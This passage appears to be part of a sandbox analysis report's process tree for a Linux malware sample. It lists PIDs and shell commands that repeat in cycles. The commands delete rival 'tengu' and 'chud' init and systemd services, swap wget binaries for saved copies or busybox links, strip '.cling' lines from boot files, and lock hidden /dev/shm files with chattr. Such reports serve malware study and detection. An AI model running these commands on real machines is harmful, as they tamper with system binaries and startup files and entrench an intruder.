                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1219
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1221
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1222
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1335
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1336
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1337
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1338
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1339
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1340
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1341
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1342
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1343
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1344
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1345
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1346
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1347
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1348
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1349
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1350
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1433
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1434
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1435
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1437
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1438
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1439
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1441
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1442
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1444
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1445
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1446
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1447
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1536
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1537
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1538
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1539
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1540
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1541
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1542
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1543
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1544
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1545
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1546
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1547
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1548
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1549
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
